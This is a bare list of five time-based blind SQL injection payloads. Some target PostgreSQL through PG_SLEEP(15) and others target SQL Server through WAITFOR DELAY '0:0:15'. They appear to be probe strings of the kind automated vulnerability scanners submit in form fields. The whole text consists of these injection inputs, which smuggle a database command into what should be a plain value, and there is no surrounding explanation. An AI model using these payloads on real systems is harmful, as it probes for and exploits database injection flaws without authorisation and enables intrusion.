555-1) OR 71=(SELECT 71 FROM PG_SLEEP(15))–

555-1 OR 893=(SELECT 893 FROM PG_SLEEP(15))–

555IXHRm1Yn’; waitfor delay ‘0:0:15’ —

555-1 waitfor delay ‘0:0:15’ —

555-1); waitfor delay ‘0:0:15’ —